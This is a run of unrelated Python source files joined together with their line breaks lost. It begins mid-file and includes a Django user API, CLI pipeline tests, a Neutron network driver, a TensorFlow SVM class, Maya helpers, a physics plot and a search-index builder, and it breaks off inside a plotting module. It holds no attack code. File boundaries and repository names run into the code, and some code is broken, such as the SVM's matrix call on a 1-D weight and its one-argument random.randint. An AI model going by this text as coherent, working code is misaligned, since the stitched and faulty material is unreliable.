self.isValidBST(node.right, val, high): return False return True # 5 # / \ # 6 7 # / / \ # 2 4 9 node = TreeNode(5) node.left = TreeNode(6) node.right = TreeNode(7) node.left.left = TreeNode(2) node.right.left = TreeNode(4) node.right.right = TreeNode(9) print(Solution().largest_bst_subtree(node)) #749SVArago/alexia from django.contrib.auth.models import User from django.db import transaction from jsonrpc import jsonrpc_method from apps.organization.models import Profile, AuthenticationData from utils.auth.backends import RADIUS_BACKEND_NAME from utils.auth.decorators import manager_required from .common import api_v1_site, format_user from .exceptions import NotFoundError, InvalidParametersError @jsonrpc_method('user.add(radius_username=String, first_name=String, last_name=String, email=String) -> Object', site=api_v1_site, authenticated=True) @manager_required @transaction.atomic() def user_add(request, radius_username, first_name, last_name, email): """ Add a new user to Alexia. An user must have an unique radius_username and a valid email address. Returns the user information on success. radius_username -- Unique RADIUS username first_name -- First name last_name -- Last name email -- Valid email address Example result value: { "first_name": "John", "last_name": "Doe", "radius_username": "s0000000" } Raises error -32602 (Invalid params) if the radius_username already exists. """ if User.objects.filter(username=radius_username).exists() or \ AuthenticationData.objects.filter(backend=RADIUS_BACKEND_NAME, username__iexact=radius_username).exists(): raise InvalidParametersError('User with provided radius_username already exists') user = User(username=radius_username, first_name=first_name, last_name=last_name, email=email) user.save() data = AuthenticationData(user=user, backend=RADIUS_BACKEND_NAME, username=radius_username.lower()) data.save() user.profile = Profile() user.profile.save() return format_user(user) @jsonrpc_method('user.exists(radius_username=String) -> Boolean', site=api_v1_site, authenticated=True, safe=True) def user_exists(request, radius_username): """ Check if a user exists by his or her RADIUS username. Returns true when the username exists, false otherwise. radius_username -- RADIUS username to search for. """ return User.objects.filter(authenticationdata__backend=RADIUS_BACKEND_NAME, authenticationdata__username=radius_username).exists() @jsonrpc_method('user.get(radius_username=String) -> Object', site=api_v1_site, authenticated=True, safe=True) def user_get(request, radius_username): """ Retrieve information about a specific user. Returns a object representing the user. Result contains first_name, last_name and radius_username. radius_username -- RADIUS username to search for. Raises error 404 if provided username cannot be found. Example result value: { "first_name": "John", "last_name": "Doe", "radius_username": "s0000000" } """ try: user = User.objects.get(authenticationdata__backend=RADIUS_BACKEND_NAME, authenticationdata__username=radius_username) except User.DoesNotExist: raise NotFoundError return format_user(user) @jsonrpc_method('user.get_by_id(user_id=Number) -> Object', site=api_v1_site, authenticated=True, safe=True) def user_get_by_id(request, user_id): """ Retrieve information about a specific user. user_id -- User id to search for. Raises error 404 if provided username cannot be found. Example result value: { "first_name": "John", "last_name": "Doe", "radius_username": "s0000000" } """ try: user = User.objects.get(id=user_id) except User.DoesNotExist: raise NotFoundError return format_user(user) dove-project/dove-backend0 flag_bits = 2 int_bits = 32 frac_bits = 30 internal_frac_bits = 60 internal_int_bits = 4 src/waldur_keycloak_rancher/apps.py from django.apps import AppConfig class KeycloakRancherConfig(AppConfig): name = 'waldur_keycloak_rancher' #!/usr/bin/env python import pytest from clichain import cli, pipeline import click from click.testing import CliRunner import sys import ast import logging from difflib import SequenceMatcher def test_main_help(): tasks = cli.Tasks() args = ['--help'] result = cli.test(tasks, args) print('>> test_main_help #1:\n', result.output, file=sys.stderr) assert result.exit_code == 0 assert not result.exception ratio = SequenceMatcher(None, result.output, cli.usage()).ratio() assert ratio >= 0.8 def test_basic_single_task_help(): tasks = cli.Tasks() @tasks @click.command(name='compute') @click.option('--approximate', '-a', help='compute with approximation') @click.argument('y') def compute_task_cli(approximate, y): " divide data by 'y' " pass args = ['compute', '--help'] result = cli.test(tasks, args) print('>> test_basic_single_task_help #1:\n', result.output, file=sys.stderr) assert result.exit_code == 0 assert not result.exception usage = """\ Usage: _app compute [OPTIONS] Y divide data by 'y' Options: -a, --approximate TEXT compute with approximation --help Show this message and exit. """ ratio = SequenceMatcher(None, result.output, usage).ratio() assert ratio >= 0.8 def test_basic_single_sequence(): inputs = '1\n2\n3\n' tasks = cli.Tasks() @pipeline.task def compute_task(ctrl, y): with ctrl as push: while True: push((yield) / y) @pipeline.task def parse(ctrl): _parse = ast.literal_eval with ctrl as push: while True: try: push(_parse((yield))) except (SyntaxError, ValueError): pass @tasks @click.command(name='parse') def parse_cli(): " performs literal_eval on data " return parse() @tasks @click.command(name='compute') @click.option('--approximate', '-a', help='compute with approximation') @click.argument('y') def compute_task_cli(approximate, y): " divide data by 'y' " y = ast.literal_eval(y) if y == 0: raise click.BadParameter("can't devide by 0") if approximate: y = round(y) return compute_task(y) args = ['compute', '0'] result = cli.test(tasks, args, input=inputs, catch_exceptions=False) print('>> test_basic_single_sequence #1:\n', result.output, file=sys.stderr) usage = """\ Usage: _app compute [OPTIONS] Y Error: Invalid value: can't devide by 0 """ ratio = SequenceMatcher(None, result.output, usage).ratio() assert ratio >= 0.8 args = ['parse', 'compute', '10'] result = cli.test(tasks, args, input=inputs, catch_exceptions=False) print('>> test_basic_single_sequence #2:\n', result.output, file=sys.stderr) assert result.output == """\ 0.1 0.2 0.3 """ def _get_pipeline(args, inputs, err_msg=None): tasks = cli.Tasks() @pipeline.task def compute_task(ctrl, name, err): print(f'starting {name} (coroutine name: {ctrl.name})') with ctrl as push: while True: value = yield if isinstance(value, str) and '7' in value and err: raise RuntimeError(name if err_msg is None else err_msg) push(f'{value.strip()}->{name}') print(f'finished {name} (coroutine name: {ctrl.name})') @tasks @click.command(name='task') @click.argument('name') @click.option('--err', '-e', is_flag=True) def compute_task_cli(name, err): return compute_task(name, err) def test(): result = cli.test(tasks, args.split(), input=inputs, catch_exceptions=False) return result return test def test_pipeline_one_level_split_and_join(): """ +--> B --> C --+ inp >>> A--| +--> F >>> out +--> D --> E --+ =>> A [ B C , D E ] F """ inputs = '\n'.join('12345678') args = 'task A [ task B task C , task D task E ] task F' name = 'test_pipeline_one_level_split_and_join' test = _get_pipeline(args, inputs) result = test() output = result.output print(f'>> {name} #1:\n', output, file=sys.stderr) assert output == """\ starting F (coroutine name: 3) starting C (coroutine name: 1) starting E (coroutine name: 2) starting B (coroutine name: 1_0) starting D (coroutine name: 2_0) starting A (coroutine name: 0) 1->A->B->C->F 1->A->D->E->F 2->A->B->C->F 2->A->D->E->F 3->A->B->C->F 3->A->D->E->F 4->A->B->C->F 4->A->D->E->F 5->A->B->C->F 5->A->D->E->F 6->A->B->C->F 6->A->D->E->F 7->A->B->C->F 7->A->D->E->F 8->A->B->C->F 8->A->D->E->F finished A (coroutine name: 0) finished D (coroutine name: 2_0) finished B (coroutine name: 1_0) finished E (coroutine name: 2) finished C (coroutine name: 1) finished F (coroutine name: 3) """ def test_pipeline_two_levels_split_and_join(): """ +--> C1 --+ +--> B --| +-----+ | +--> C2 --+ | inp >>> A--| +--> F >>> out +--> D --> E ------------+ =>> A [ B [ C1 , C2 ] , D E ] F """ inputs = '\n'.join('12345678') args = 'task A [ task B [ task C1 , task C2 ] , task D task E ] task F' name = 'test_pipeline_two_levels_split_and_join' test = _get_pipeline(args, inputs) result = test() output = result.output print(f'>> {name} #1:\n', output, file=sys.stderr) assert output == """\ starting F (coroutine name: 5) starting C1 (coroutine name: 2) starting C2 (coroutine name: 3) starting E (coroutine name: 4) starting B (coroutine name: 1) starting D (coroutine name: 4_0) starting A (coroutine name: 0) 1->A->B->C1->F 1->A->B->C2->F 1->A->D->E->F 2->A->B->C1->F 2->A->B->C2->F 2->A->D->E->F 3->A->B->C1->F 3->A->B->C2->F 3->A->D->E->F 4->A->B->C1->F 4->A->B->C2->F 4->A->D->E->F 5->A->B->C1->F 5->A->B->C2->F 5->A->D->E->F 6->A->B->C1->F 6->A->B->C2->F 6->A->D->E->F 7->A->B->C1->F 7->A->B->C2->F 7->A->D->E->F 8->A->B->C1->F 8->A->B->C2->F 8->A->D->E->F finished A (coroutine name: 0) finished D (coroutine name: 4_0) finished B (coroutine name: 1) finished E (coroutine name: 4) finished C2 (coroutine name: 3) finished C1 (coroutine name: 2) finished F (coroutine name: 5) """ def test_pipeline_debug_name(caplog): """ +--> B --> C --+ inp >>> A--| +--> B >>> out +--> B --> D --+ #equivalent: =>> A { 'b1' [ B C , B D ] } B =>> A [ { 'b1' B C , B D } ] B =>> A [ { 'b1' B C , B D ] } B =>> A [ { 'b1' B C } , { 'b1' B D } ] B # =>> A [ { 'b1' B } C , { 'b1' B } D ] B #equivalent: =>> A { 'b1' [ B C , { 'b2' B } D ] } B =>> A [ { 'b1' B C } , { 'b2' B } { 'b1' D } ] B #no effect: =>> A [ { 'b1' } B , { 'b2' } B ] B """ inputs = '\n'.join('12345678') name = 'test_pipeline_debug_name' def _test(ex, i, args, stdout, err_name='{NAME}'): print('', file=sys.stderr) err_name = err_name.format(NAME=f'{ex}_{i}') args = args.format(NAME=f'{ex}_{i}') test = _get_pipeline(args, inputs, err_msg=err_name) result = test() # abort: assert isinstance(result.exception, SystemExit) assert result.exit_code == 1 print(f'\n>> {name}-{ex}#{i}: out:', file=sys.stderr) print(result.output, file=sys.stderr) assert result.output == stdout.format(NAME=f'{ex}_{i}') print(f'\n>> {name}-{ex}#{i}: logs:', file=sys.stderr) _logger = pipeline.logger.getChild(err_name) print(caplog.text, file=sys.stderr) assert any(map(lambda r: r.name == _logger.name and r.msg == "an exception occured:" and r.exc_info, caplog.records)) assert f"RuntimeError: {err_name}" in caplog.text # ---------------------------------------------------------------- # # equivalent: # =>> A { 'b1' [ B C , B D ] } B # =>> A [ { 'b1' B C , B D } ] B # =>> A [ { 'b1' B C , B D ] } B # =>> A [ { 'b1' B C } , { 'b1' B D } ] B # ---------------------------------------------------------------- # ex = 'ex_1' # ---------------------------------------------------------------- # args = [ 'task A {{ {NAME} [ task -e B task C , task B task D ] }} task B ', 'task A [ {{ {NAME} task -e B task C , task B task D }} ] task B', 'task A [ {{ {NAME} task -e B task C , task B task D ] }} task B', 'task A [ {{ {NAME} task -e B task C }} , {{ {NAME} task B task D }} ] task B', ] stdout = """\ starting B (coroutine name: 3) starting C (coroutine name: {NAME}) starting D (coroutine name: {NAME}) starting B (coroutine name: {NAME}) starting B (coroutine name: {NAME}) starting A (coroutine name: 0) 1->A->B->C->B 1->A->B->D->B 2->A->B->C->B 2->A->B->D->B 3->A->B->C->B 3->A->B->D->B 4->A->B->C->B 4->A->B->D->B 5->A->B->C->B 5->A->B->D->B 6->A->B->C->B 6->A->B->D->B finished B (coroutine name: {NAME}) finished D (coroutine name: {NAME}) finished C (coroutine name: {NAME}) finished B (coroutine name: 3) Aborted! """ for i, args in enumerate(args): _test(ex, i, args, stdout) # ---------------------------------------------------------------- # # =>> A [ { 'b1' B } C , { 'b1' B } D ] B # ---------------------------------------------------------------- # ex = 'ex_2' # ---------------------------------------------------------------- # args = [ 'task A [ {{ {NAME} task -e B }} task C , {{ {NAME} task B }} task D ] task B', ] stdout = """\ starting B (coroutine name: 3) starting C (coroutine name: 1) starting D (coroutine name: 2) starting B (coroutine name: {NAME}) starting B (coroutine name: {NAME}) starting A (coroutine name: 0) 1->A->B->C->B 1->A->B->D->B 2->A->B->C->B 2->A->B->D->B 3->A->B->C->B 3->A->B->D->B 4->A->B->C->B 4->A->B->D->B 5->A->B->C->B 5->A->B->D->B 6->A->B->C->B 6->A->B->D->B finished B (coroutine name: {NAME}) finished D (coroutine name: 2) finished C (coroutine name: 1) finished B (coroutine name: 3) Aborted! """ for i, args in enumerate(args): _test(ex, i, args, stdout) # ---------------------------------------------------------------- # # equivalent: # =>> A { 'b1' [ B C , { 'b2' B } D ] } B # =>> A [ { 'b1' B C } , { 'b2' B } { 'b1' D } ] B # ---------------------------------------------------------------- # ex = 'ex_3' # ---------------------------------------------------------------- # args = [ 'task A {{ {NAME} [ task -e B task C , {{ {NAME}_bis task B }} task D ] }} task B ', 'task A [ {{ {NAME} task -e B task C }} , {{ {NAME}_bis task B }} {{ {NAME} task D }} ] task B ', ] stdout = """\ starting B (coroutine name: 3) starting C (coroutine name: {NAME}) starting D (coroutine name: {NAME}) starting B (coroutine name: {NAME}) starting B (coroutine name: {NAME}_bis) starting A (coroutine name: 0) 1->A->B->C->B 1->A->B->D->B 2->A->B->C->B 2->A->B->D->B 3->A->B->C->B 3->A->B->D->B 4->A->B->C->B 4->A->B->D->B 5->A->B->C->B 5->A->B->D->B 6->A->B->C->B 6->A->B->D->B finished B (coroutine name: {NAME}_bis) finished D (coroutine name: {NAME}) finished C (coroutine name: {NAME}) finished B (coroutine name: 3) Aborted! """ for i, args in enumerate(args): _test(ex, i, args, stdout) # ---------------------------------------------------------------- # # =>> A [ { 'b1' } B , { 'b2' } B ] B # ---------------------------------------------------------------- # ex = 'ex_4' # ---------------------------------------------------------------- # args = [ 'task A [ {{ {NAME} }} task -e B , {{ {NAME} }} task B ] task B', ] stdout = """\ starting B (coroutine name: 3) starting B (coroutine name: 1) starting B (coroutine name: 2) starting A (coroutine name: 0) 1->A->B->B 1->A->B->B 2->A->B->B 2->A->B->B 3->A->B->B 3->A->B->B 4->A->B->B 4->A->B->B 5->A->B->B 5->A->B->B 6->A->B->B 6->A->B->B finished B (coroutine name: 2) finished B (coroutine name: 3) Aborted! """ for i, args in enumerate(args): _test(ex, i, args, stdout, err_name='1') # Copyright 2014 Big Switch Networks, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # # @author: , , Big Switch Networks, Inc. # @author: , Big Switch Networks, Inc. import copy import httplib import eventlet from oslo.config import cfg from neutron import context as ctx from neutron.extensions import portbindings from neutron.openstack.common import excutils from neutron.openstack.common import log from neutron.plugins.bigswitch import config as pl_config from neutron.plugins.bigswitch import plugin from neutron.plugins.bigswitch import servermanager from neutron.plugins.ml2 import driver_api as api LOG = log.getLogger(__name__) class BigSwitchMechanismDriver(plugin.NeutronRestProxyV2Base, api.MechanismDriver): """Mechanism Driver for Big Switch Networks Controller. This driver relays the network create, update, delete operations to the Big Switch Controller. """ def initialize(self): LOG.debug(_('Initializing driver')) # register plugin config opts pl_config.register_config() self.evpool = eventlet.GreenPool(cfg.CONF.RESTPROXY.thread_pool_size) # backend doesn't support bulk operations yet self.native_bulk_support = False # init network ctrl connections self.servers = servermanager.ServerPool() self.servers.get_topo_function = self._get_all_data self.servers.get_topo_function_args = {'get_ports': True, 'get_floating_ips': False, 'get_routers': False} self.segmentation_types = ', '.join(cfg.CONF.ml2.type_drivers) LOG.debug(_("Initialization done")) def create_network_postcommit(self, context): # create network on the network controller self._send_create_network(context.current) def update_network_postcommit(self, context): # update network on the network controller self._send_update_network(context.current) def delete_network_postcommit(self, context): # delete network on the network controller self._send_delete_network(context.current) def create_port_postcommit(self, context): # create port on the network controller port = self._prepare_port_for_controller(context) if port: self.async_port_create(port["network"]["tenant_id"], port["network"]["id"], port) def update_port_postcommit(self, context): # update port on the network controller port = self._prepare_port_for_controller(context) if port: try: self.servers.rest_update_port(port["network"]["tenant_id"], port["network"]["id"], port) except servermanager.RemoteRestError as e: with excutils.save_and_reraise_exception() as ctxt: if (cfg.CONF.RESTPROXY.auto_sync_on_failure and e.status == httplib.NOT_FOUND and servermanager.NXNETWORK in e.reason): ctxt.reraise = False LOG.error(_("Iconsistency with backend controller " "triggering full synchronization.")) topoargs = self.servers.get_topo_function_args self._send_all_data( send_ports=topoargs['get_ports'], send_floating_ips=topoargs['get_floating_ips'], send_routers=topoargs['get_routers'], triggered_by_tenant=port["network"]["tenant_id"] ) def delete_port_postcommit(self, context): # delete port on the network controller port = context.current net = context.network.current self.servers.rest_delete_port(net["tenant_id"], net["id"], port['id']) def _prepare_port_for_controller(self, context): # make a copy so the context isn't changed for other drivers port = copy.deepcopy(context.current) net = context.network.current port['network'] = net port['bound_segment'] = context.bound_segment actx = ctx.get_admin_context() prepped_port = self._extend_port_dict_binding(actx, port) prepped_port = self._map_state_and_status(prepped_port) if (portbindings.HOST_ID not in prepped_port or prepped_port[portbindings.HOST_ID] == ''): LOG.warning(_("Ignoring port notification to controller because " "of missing host ID.")) # in ML2, controller doesn't care about ports without # the host_id set return False return prepped_port from __future__ import division, print_function, absolute_import from autotf.model.base_model import BaseModel import tensorflow as tf import numpy as np import random class SVM(BaseModel): default_param = { "metrics" : [], "optimizer" : "sgd", "learning_rate" : 1e-2, "batch_size" : 256, "num_epochs" : 10 } def __init__(self, feature_num, param=None): self.feature_num = feature_num self.sess = tf.Session() if param: self.set_parameter(param) def build_model(self): with tf.variable_scope("linear_regression"): self.input_features = tf.placeholder(tf.float32, [None, self.feature_num], name="input_features") self.ground_truth = tf.placeholder(tf.float32, [None], name="ground_truth") self.weight = tf.get_variable("weight", [self.feature_num], tf.float32, tf.truncated_normal_initializer()) self.bias = tf.get_variable("bias", [], tf.float32, tf.truncated_normal_initializer()) self.output = tf.matmul(self.input_features, self.weight) + self.bias self.loss = tf.losses.hinge_loss(self.ground_truth, self.output) def set_parameter(self, param): for name, default_value in self.default_param: param.set_default(name, default_value) self.build_model() metrics = [self.get_metric(metric) for metric in param["metrics"]] self.metrics = [metric_fun(self.output, self.ground_truth) for metric_fun in metrics] optimizer = param["optimizer"] learning_rate = param["learning_rate"] self.optimizer = optimizer(learning_rate).minimize(self.loss) self.batch_size = param["batch_size"] self.num_epochs = param["num_epochs"] def get_batch(self, feed_data): X = np.ndarray([self.batch_size, self.feature_num], np.float32) Y = np.ndarray([self.batch_size], np.float32) input_features = feed_data["input_features"] ground_truth = feed_data["ground_truth"] total_data = np.shape(input_features)[0] batch_num = total_data // self.batch_size for _ in range(batch_num): for i in range(self.batch_size): r = random.randint(total_data) X[i] = input_features[r] Y[i] = ground_truth[r] yield { "input_features" : X, "ground_truth" : Y } def train(self, feed_data): if "input_features" not in feed_data or "ground_truth" not in feed_data: return -1 self.sess.run(tf.global_variables_initializer()) for epoch in range(self.num_epochs): for batch in self.get_batch(feed_data): feed_dict = { self.input_features : batch["input_features"], self.ground_truth : batch["ground_truth"] } _, loss = self.sess.run([self.optimizer, self.loss], feed_dict=feed_dict) def evaluate(self, feed_data): input_features = feed_data["input_features"] ground_truth = feed_data["ground_truth"] output = [] loss = [] total_data = np.shape(input_features)[0] for batch_start in range(0, total_data, self.batch_size): input_batch = input_features[batch_start : batch_start + self.batch_size] feed_dict = { self.input_features : input_batch, } result = self.sess.run([self.output, self.loss], feed_dict) output.append(result[0]) loss = result[1] output = np.concatenate(output, axis=0) loss = np.mean(loss) return loss, [metric(output, ground_truth) for metric in self.metrics] def predict(self, feed_data): input_features = feed_data["input_features"] feed_dict = { self.input_features : input_features, } return self.sess.run(self.output, feed_dict) def model_save(self, path): return def model_load(self, path): return class MayaBaseClass(object): CONST = ( DEFAULT_ASSET_GEO_GROUP, DEFAULT_NO_REF_KEY, DEFAULT_CONSULADO_GEO_ATTR, ) = ("render_grp", "NO_REF", "cNodeId") def __init__(self): try: import maya.cmds as cmds import maya.mel as mel import pymel.core as pm except Exception as e: raise ImportError( "Error while importing the maya libraries, because: {}".format(e) ) self.cmds = cmds self.mel = mel self.pm = pm class MayaScene(MayaBaseClass): def __init__(self): super(MayaScene, self).__init__() self.cmds.namespace(setNamespace=":") self.no_intermediate_mesh_shapes = self.pm.ls(type="mesh", noIntermediate=True) self.scene_namespaces = ( lambda: self.pm.namespaceInfo(listOnlyNamespaces=True, recurse=True) or [] ) self._assets = [] self.load_assets() def __iter__(self): for asset in self._assets: if asset is None: continue yield asset def __len__(self): return len([i for i in self._assets if i is not None]) def non_default_cameras(self): # Get all cameras first cameras = self.pm.ls(type=("camera"), l=True) # Let's filter all startup / default cameras startup_cameras = [ camera for camera in cameras if self.pm.camera(camera.parent(0), startupCamera=True, q=True) ] non_default_cameras = list(set(cameras) - set(startup_cameras)) for camera in map(lambda x: x.parent(0), non_default_cameras): yield camera def find_asset(self, namespace=None): if namespace: geometry_list = [ m.getTransform() for m in self.no_intermediate_mesh_shapes if namespace == m.namespace()[:-1] and self.DEFAULT_ASSET_GEO_GROUP in m.fullPath() ] else: geometry_list = [ m.getTransform() for m in self.no_intermediate_mesh_shapes if self.DEFAULT_ASSET_GEO_GROUP in m.fullPath() and m.namespace() == "" ] if not geometry_list: return None return MayaAsset(geometry_list, namespace) def load_assets(self): self._assets.append(self.find_asset()) for namespace in self.scene_namespaces(): asset = self.find_asset(namespace) if asset is None: continue self._assets.append(asset) class MayaAsset(MayaBaseClass): def __init__(self, geometry_list, namespace=None): super(MayaAsset, self).__init__() self._geometry_list = geometry_list self._namespace = ( namespace if namespace is not None else self.DEFAULT_NO_REF_KEY ) def __iter__(self): for geo in self._geometry_list: if geo is None: continue yield geo def __len__(self): return len([i for i in self._geometry_list if i is not None]) @property def is_reference(self): return self._namespace != self.DEFAULT_NO_REF_KEY @property def namespace(self): if not self._geometry_list: return "" return "" if self._namespace == self.DEFAULT_NO_REF_KEY else self._namespace @property def node_ids(self): ids = [] for geo in self._geometry_list: if not hasattr(geo, self.DEFAULT_CONSULADO_GEO_ATTR): continue attr = getattr(geo, self.DEFAULT_CONSULADO_GEO_ATTR) ids.append(attr.get()) return ids @property def geos_without_sg_ids(self): return [ geo for geo in self._geometry_list if not hasattr(geo, self.DEFAULT_CONSULADO_GEO_ATTR) ] def create_sg_attr(self): for geo in self.geos_without_sg_ids: self.pm.addAttr(geo, longName=self.DEFAULT_CONSULADO_GEO_ATTR, at="long") Fermi-Dirac.py ## Fermi-Dirac ## import numpy as np import scipy.constants as sc import matplotlib.pyplot as plt import matplotlib.animation as animation from matplotlib.figure import Figure from matplotlib import colors from Tkinter import * from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas figure = Figure() canvas = FigureCanvas(figure) fig = plt.figure() ax = plt.subplot('111', axisbg='w') #Constantes utilizadas k = sc.k e = sc.e #Energia en eV relativa Eo = 5.0; Emin=0; Emax=10.0; E = np.linspace(Emin,Emax,1000) ymin=-0.1; ymax=1.1; xval=0.05; yval =2.3; line, = ax.plot([], []) plt.ylabel("$F \ \ (E)$") plt.xlabel("$Energia \ \ (E) \ \ [e\cdot V ]$") plt.title('$FUNCION \ \ DE \ \ DISTRIBUCION \ \ FERMI-DIRAC \ \ - \ \ F(E)$') def fun(Temp, color1, etq): #Funcion de distribucion de Fermi-Dirac ax.plot(E,((1)/((np.exp((E-Eo)/(k/e*Temp)))+(1.0))),color=plt.cm.gist_rainbow(color1), label=etq) T1 = 0 T2 = 1000 T3 = 2500 T4 = 4500 T5 = 7000 T6 = 10000 col1 = int(200./T6*T1) col2 = int(200./T6*T2) col3 = int(200./T6*T3) col4 = int(200./T6*T4) col5 = int(200./T6*T5) col6 = int(200./T6*T6) fun(T1,col1, r"$F(E)_{T = %d K}$" %T1) fun(T2,col2, r"$F(E)_{T = %d K}$" %T2) fun(T3,col3, r"$F(E)_{T = %d K}$" %T3) fun(T4,col4, r"$F(E)_{T = %d K}$" %T4) fun(T5,col5, r"$F(E)_{T = %d K}$" %T5) fun(T6,col6, r"$F(E)_{T = %d K}$" %T6) legend = plt.legend(loc=1, prop={'size':12.5}) plt.axis([Emin,Emax,ymin,ymax]) def animate(i): y=((1)/((np.exp((E-Eo)/(k/e*(i*50))))+(1.0))) line, = ax.plot(E, y, color=plt.cm.gist_rainbow(i)) return line, ani = animation.FuncAnimation(fig, animate, frames=200, interval=50, blit = True, repeat=True) legend = plt.legend(loc=1) xano1=((Eo-Emin)/2.0)-0.1 xano2= Eo+((Emax-Eo)/2.0)-0.1 ax.annotate(r"$F(E) = \frac{1}{e^\frac{E - E_{f}}{kT}+1}$", xy=(0.5,0.4), color='k', fontsize=25, horizontalalignment='left', verticalalignment='up', ) ax.annotate(r"$F(E)_{T = 0K, EE_{f}} = 0$", xy=(0.5,0.1), color='k', fontsize=15, horizontalalignment='left', verticalalignment='up', ) ax.annotate("$E_f$", xy=(Eo-0.2,-0.08), color='black', horizontalalignment='left', verticalalignment='up', ) ax.annotate("$E > E_f$", xy=(xano2,-0.08), color='black', horizontalalignment='left', verticalalignment='up', ) ax.annotate("$E < E_f$", xy=(xano1,-0.08), color='black', horizontalalignment='left', verticalalignment='up', ) plt.show() brooky56/SSD_Assignment_1 import time from contextlib import redirect_stdout def best_decorator(func): """ Feat.1 Best decorator wrappes and add additional logic to the wrapped functions Feat.2 Redirect all stdout to stdout.txt file - all output of fucntion calling find there """ def wrapper(*args, **kargs): """ The solution is to use *args and **kwargs in the inner wrapper function. Then it will accept an arbitrary number of positional and keyword arguments :param args: positional arguments :param kargs: keyword argumants (set) """ wrapper.counter +=1 start_time = time.time() with open('stdout.txt', 'a') as f: with redirect_stdout(f): func(*args, **kargs) executed_time = time.time() - start_time print("{0} call {1} executed in {2} sec".format(func.__name__ ,wrapper.counter, round(executed_time, 4))) wrapper.counter = 0 return wrapperfrom collections import defaultdict import numpy as np import pandas as pd from nltk import word_tokenize from hybrid_search_engine import nlp_engine import hybrid_search_engine.utils.text_processing as processing def build_index_from_df(df: pd.DataFrame, columns, id_column, filtering_columns=[], min_token_len=1, lemmatize=True, remove_stopwords=True, lower=True): df = processing.process_df(df, text_columns=columns, lemmatize=lemmatize, remove_stopwords=remove_stopwords, lower=lower) postings, frequencies = build_postings(df, columns) index = convert_postings_to_df(postings, frequencies, columns) ids = df[id_column].values norms = calculate_norms(index, columns, n_docs=len(ids)) document_tags = df[filtering_columns].copy(deep=True) documents_df = pd.concat([df[id_column], norms, document_tags], axis=1) return index, documents_df def calculate_norms(index, columns, n_docs): norms = pd.DataFrame() for c in columns: document_token_num = defaultdict(int) document_idxs = index[c].values document_frequencies = index[f"{c} TF"].values for documents, frequencies in zip(document_idxs, document_frequencies): for d, f in zip(documents, frequencies): document_token_num[d] += f norms[f"{c} Norm"] = [1 / np.sqrt(document_token_num[i]) if document_token_num[i] > 0 else 0 for i in range(n_docs)] return norms def build_postings(corpus, columns): postings = dict() frequencies = dict() for i, document in corpus.iterrows(): for column in columns: if len(document[column]) > 0: unique_tokens = list(sorted(set(document[column]))) for token in unique_tokens: if token in postings: if column in postings[token]: postings[token][column].append(i) frequencies[token][column].append(document[column].count(token)) else: postings[token][column] = [i] frequencies[token][column] = [document[column].count(token)] else: postings[token] = { column: [i] } frequencies[token] = { column: [document[column].count(token)] } return postings, frequencies def convert_postings_to_df(postings, frequencies, columns): postings_df = pd.DataFrame({ "token": [k for k in postings.keys()], "token vector": [nlp_engine(k).vector for k in postings.keys()] }) postings_df["token vector"] = postings_df["token vector"].apply(lambda v: v / np.linalg.norm(v)) for column in columns: postings_df[column] = [np.array([]) for _ in range(len(postings.keys()))] postings_df[f"{column} TF"] = [np.array([]) for _ in range(len(postings.keys()))] for i, token in enumerate(postings.keys()): for column, doc_ids in postings[token].items(): postings_df.loc[i, column] = np.array(doc_ids) postings_df.loc[i, f"{column} TF"] = np.array(frequencies[token][column]) v_dim = nlp_engine("").vector.shape[0] mask = np.sum(postings_df["token vector"].values.tolist(), axis=1) postings_df.loc[pd.isna(mask), "token vector"] = [np.zeros(v_dim)] return postings_df import rlcompleter, readline;readline.parse_and_bind('tab:complete') import os, sys, platform, ctypes def dll_call(plugin, cmd, login, password): dllpath = f"..\\dllplugin\\{plugin}.dll" if not os.path.exists(dllpath): return f'{dllpath} not found' if platform.architecture()[0] != '32bit': return f'You are use python not a 32bit: {platform.architecture()[0]}' dll = ctypes.CDLL(dllpath) request = f'''\n \n 007F09DA\n {login}\n {password}\n ''' buf = ctypes.create_string_buffer(1024) dll.IssaPlugin.argtypes = [ctypes.c_char_p,ctypes.c_char_p,ctypes.c_char_p,ctypes.c_long] dll.IssaPlugin.restype = None dll.IssaPlugin(ctypes.c_char_p(cmd.encode('cp1251')),ctypes.c_char_p(request.encode('cp1251')),buf,len(buf)) return buf.value.decode('cp1251') if __name__ == '__main__': if len(sys.argv) != 1+4: print(f'usage: {sys.argv[0]} plugin cmd(Info or Execute) login passw') sys.exit() plugin = sys.argv[1] cmd = sys.argv[2] login = sys.argv[3] password = sys.argv[4] print(dll_call(plugin, cmd, login, password)) """ Plotting methods for dimarray class """ from __future__ import division import numpy as np from dimarray.tools import anynan def _get_axis_labels(dim_axis): """ return values, xticklabels and label for an axis """ if not dim_axis.is_numeric(): values = np.arange(0, dim_axis.size/2, 0.5) # x-axis ticklabels = dim_axis.values ticks = values else: values = dim_axis.values ticklabels = None ticks = None # axis label for the plot label = dim_axis.name if hasattr(dim_axis, 'units'): label = label+' ({})'.format(dim_axis.units) return values, ticks, ticklabels, label def _plot1D(self, funcname, *args, **kwargs): """ generic wrapper for 1-D plots (e.g. plot, scatter) """ import matplotlib.pyplot as plt ndims = kwargs.pop('_ndims', None) # max dimension allowed if len(self.dims) > 2: raise NotImplementedError(funcname+" only works for 1-D or 2-D data") _transpose = kwargs.pop('_transpose', False) if 'ax' in kwargs: ax = kwargs.pop('ax') else: ax = plt.gca() function = getattr(ax, funcname) # keyword argument to indicate legend, for 'plot' legend=kwargs.pop('legend', True) legend = legend and self.ndim==2 xval, xticks, xticklab, xlab = _get_axis_labels(self.axes[0]) if _transpose: pc = function(xval, self.values.T, *args, **kwargs) else: pc = function(xval, self.values, *args, **kwargs) # add labels if xlab is not None: ax.set_xlabel(xlab) if xticks is not None: ax.set_xticks(xticks) if xticklab is not None: ax.set_xticklabels(xticklab) # add y-labels? if hasattr(self, 'name') and hasattr(self, 'units') and self.name is not None and self.units is not None: lab = "{} ({})".format(self.name, self.units) elif hasattr(self, 'name') and self.name is not None: lab = "{}".format(self.name) elif hasattr(self, 'units') and self.units is not None: lab = "{}".format(self.units) else: lab = None if lab is not None: ax.set_ylabel(lab) # add labels if self.ndim == 2: for i, line in enumerate(pc): 